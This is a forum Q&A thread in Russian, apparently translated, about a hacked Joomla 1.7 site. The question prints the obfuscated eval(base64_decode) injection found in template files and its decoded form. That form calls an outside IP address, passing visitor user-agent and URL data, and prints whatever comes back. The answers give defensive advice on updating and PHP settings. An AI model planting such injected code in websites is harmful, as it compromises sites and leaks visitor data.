Сайт backdoor & eval () [закрыт]
Я запускаю сайт Joomla 1.7, который был взломан сегодня. Ниже сценарий сделал Хак.
eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));
Вышеприведенная строка была введена в мой index.php
файл папки templates. Каждый шаблон, который был в папке, имел вышеуказанный код. В каждом файле это повторялось несколько раз.
Когда я декодирую код, он выводит
print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI']));
Я удалил скрипт, и сайт работает нормально. Скрипт не сделал ничего плохого, кроме того, что сайт вообще не загружался.
Моя проблема даже тогда, когда я установил разрешение файла на 644 и разрешение папки на 755, как это могло произойти?
Как я могу выяснить, что вызвало проблему? Какие шаги я должен предпринять, чтобы предотвратить это в будущем?
Обновление
Этот помощник на форуме / FPA очень полезен
3 ответа:
Как насчет того, что вы запускаете сайт Joomla 1.7? Joomla 1.7 больше не поддерживается, и с момента ее выпуска в Joomla было добавлено несколько исправлений безопасности. Вы должны немедленно перейти на версию 2.5.9. Не должно быть никаких проблем с обратной совместимостью, так как 2.5.9-это просто долгосрочный поддерживаемый выпуск Joomla 1.7.
Проверьте настройки PHP, как это рекомендовано в контрольном списке безопасности Joomla здесь . Убедитесь, что ваши версии PHP и MYSQL достаточно актуальны (по крайней мере PHP 5.3.х-предпочтительно 5.4.x и MYSQL, по крайней мере, 5.0.4).
Наконец убедитесь, что все ваши расширения актуальны. Опять же разработчики постоянно обновляют модули не только для добавления новых функций, но и для добавления дополнительной / улучшенной безопасности или для защиты от обнаруженных уязвимостей!
Также, пожалуйста, не включайте allow_url_fopen, как говорит Стивен, это приведет к тому, что обновление Joomla в один клик перестанет работать должным образом.
Это не чтение файла из вашей файловой системы, а чтение непосредственно из внешнего URL-адреса. Вы можете отключить чтение с любого внешнего URL в php через php.директива:
allow_url_fopen = 0
Из того, что Вы нам рассказали, невозможно определить причину взлома, но наиболее вероятная причина (почти наверняка) заключается в том, что вы используете старые версии некоторых программ, которые знали дыры в безопасности, которые хакер смог атаковать.
Проверьте свою версию PHP: если она ниже, чем v5.3.21 или v5.4.11 (т. е. текущие версии), у вас, вероятно, есть дыры в безопасности. Если это v5. 2 или ниже, то он определенно уязвим (5.2 не поддерживается в течение двух лет уже много лет). Если ваш хостинг-провайдер не в курсе их версии PHP, то вам нужно побеспокоить их, чтобы исправить это. Если они не исправят его, вам нужно найти лучшего хозяина.
Проверьте свою версию joomla: она актуальна? Вы упоминаете, что это v1. 7: это не актуально 1.7 был выпущен полтора года назад. Текущие версии-2.5 и 3.0. Это означает, что у вас почти наверняка есть дыры в системе безопасности, а значит, вы можете быть взломаны. Обновление с 1.7 до 2.5 может быть болезненным, но если вы хотите быть в безопасности, вы должны это сделать.
Поддержание вашего программного обеспечения в актуальном состоянии является одной из самых важных вещей, которые вы можете сделать на веб-сайте, чтобы сохранить его в безопасности. Это не обязательно: если вы хотите избежать взлома, вам нужно быть в курсе событий, и вы должны постоянно следить за новыми релизами-новые дыры в безопасности обнаруживаются все время. Как правило, большинство хорошего качества программного обеспечения исправляется довольно быстро, когда появляется новая ошибка, но это ваша ответственность, чтобы установить исправлена версия на вашем сервере, в противном случае ошибка все равно будет там и, скорее всего, будет взломана.
Есть и другие способы, которыми вы могли бы быть взломаны; давайте не будем сбрасывать их со счетов; большинство из них находятся вне вашего контроля. Обновление версий программного обеспечения - это ваша лучшая защита номер один.